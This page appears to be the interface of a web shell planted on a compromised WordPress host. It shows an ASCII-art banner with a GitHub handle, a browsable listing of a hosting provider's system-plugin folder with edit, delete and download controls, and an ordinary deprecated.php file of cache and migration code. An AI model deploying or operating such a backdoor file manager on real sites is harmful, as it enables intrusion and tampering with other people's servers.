⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀ ⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀ ⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀ ⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦ www.github.com/caterscam ⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈ ⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀ ⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀ ⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Current Dir: /dom834884/wp-content/mu-plugins/gd-system-plugin/includes/ [DIR] admin [ delete | rename ] [DIR] cache [ delete | rename ] [DIR] cli [ delete | rename ] [FILE] autoload.php [ edit | delete | rename | download ] [FILE] class-activity-logger.php [ edit | delete | rename | download ] [FILE] class-api.php [ edit | delete | rename | download ] [FILE] class-auto-updates.php [ edit | delete | rename | download ] [FILE] class-bundled-plugins.php [ edit | delete | rename | download ] [FILE] class-cache-v2.php [ edit | delete | rename | download ] [FILE] class-cache.php [ edit | delete | rename | download ] [FILE] class-cdn.php [ edit | delete | rename | download ] [FILE] class-change-domain.php [ edit | delete | rename | download ] [FILE] class-cli.php [ edit | delete | rename | download ] [FILE] class-configs.php [ edit | delete | rename | download ] [FILE] class-debug-mode.php [ edit | delete | rename | download ] [FILE] class-diagnostics.php [ edit | delete | rename | download ] [FILE] class-disallowed-plugins.php [ edit | delete | rename | download ] [FILE] class-feature-flag.php [ edit | delete | rename | download ] [FILE] class-gmv.php [ edit | delete | rename | download ] [FILE] class-gravity-forms.php [ edit | delete | rename | download ] [FILE] class-hotfixes.php [ edit | delete | rename | download ] [FILE] class-plugin-update-skin.php [ edit | delete | rename | download ] [FILE] class-rad.php [ edit | delete | rename | download ] [FILE] class-rest-api.php [ edit | delete | rename | download ] [FILE] class-rewrite-static-assets.php [ edit | delete | rename | download ] [FILE] class-rum.php [ edit | delete | rename | download ] [FILE] class-search-replacer.php [ edit | delete | rename | download ] [FILE] class-site-optimizer.php [ edit | delete | rename | download ] [FILE] class-smart-update.php [ edit | delete | rename | download ] [FILE] class-sso.php [ edit | delete | rename | download ] [FILE] class-storage-limit-checker.php [ edit | delete | rename | download ] [FILE] class-storage-limit-enforcer.php [ edit | delete | rename | download ] [FILE] class-sucuri-scanner.php [ edit | delete | rename | download ] [FILE] class-temp-domain.php [ edit | delete | rename | download ] [FILE] class-trustedsite.php [ edit | delete | rename | download ] [FILE] class-worker.php [ edit | delete | rename | download ] [FILE] class-wp-mirror.php [ edit | delete | rename | download ] [FILE] class-xmlrpc.php [ edit | delete | rename | download ] [FILE] class-yoast-seo.php [ edit | delete | rename | download ] [FILE] deprecated.php [ edit | delete | rename | download ] [FILE] trait-helpers.php [ edit | delete | rename | download ] [FILE] trait-singleton.php [ edit | delete | rename | download ] Viewing: /dom834884/wp-content/mu-plugins/gd-system-plugin/includes/deprecated.php <?php use WPaaS\Cache_V2; use WPaaS\Plugin; if ( ! defined( 'ABSPATH' ) ) { exit; } final class WPaaS_Deprecated { /** * Class constructor. */ public function __construct() { $this->wp_cli(); $this->actions(); $this->filters(); $this->migrations(); } /** * Deprecated WP-CLI commands. */ private function wp_cli() { if ( ! Plugin::is_wp_cli() ) { return; } /** * wp purge */ WP_CLI::add_command( 'purge', function() { WP_CLI::warning( sprintf( '`wp purge` is deprecated. Use `%s` instead.', Plugin::cli_command( 'cache flush' ) ) ); WP_CLI::run_command( [ Plugin::cli_base_command(), 'cache', 'flush' ] ); } ); } /** * Deprecated actions. */ private function actions() { add_action( 'flush_cache', function( array $args = [] ) { if ( ( ! isset( $args['ban'] ) || 0 !== $args['ban'] ) && ! $GLOBALS['wpaas_cache_class']->has_ban() ) { add_action( 'shutdown', [ $GLOBALS['wpaas_cache_class'], 'ban' ], PHP_INT_MAX ); } if ( isset( $args['ban'] ) && 0 === isset( $args['ban'] ) && ! empty( $args['urls'] ) && ! $GLOBALS['wpaas_cache_class']->has_ban() && ! $GLOBALS['wpaas_cache_class']->has_purge() ) { Cache_V2::$purge_urls = $args['urls']; add_action( 'shutdown', [ $GLOBALS['wpaas_cache_class'], 'purge' ], PHP_INT_MAX ); } }, PHP_INT_MAX ); } /** * Deprecated filters. */ private function filters() { add_filter( 'wpaas_api_retry_delay', function( $seconds ) { return (int) apply_filters( 'gd_system_api_retry_delay', $seconds ); } ); } /** * Perform any necessary migrations. * * Find all migration methods in this class that have * a version number greater than the previous version * and run them in order. */ private function migrations() { $previous = get_option( 'gd_system_version', '2.0.0' ); if ( ! version_compare( Plugin::version(), $previous, '>' ) ) { return; } $migrations = []; foreach ( get_class_methods( __CLASS__ ) as $method ) { if ( 0 !== strpos( $method, 'migration_' ) ) { continue; } $version = str_replace( [ 'migration_', '_' ], [ '', '.' ], $method ); if ( version_compare( $previous, $version, '<' ) ) { $migrations[ $version ] = $method; } } natsort( $migrations ); foreach ( $migrations as $migration ) { if ( is_callable( [ $this, $migration ] ) ) { $this->$migration(); } } update_option( 'gd_system_version', Plugin::version() ); } } /** * Deprecated class to flush cache on app servers * * Class GD_System_Plugin_Purge_Command * * @codingStandardsIgnoreStart */ class GD_System_Plugin_Purge_Command { function __invoke( $args, $assoc_args ) { WP_CLI::run_command( [ Plugin::cli_base_command(), 'cache', 'flush' ] ); } }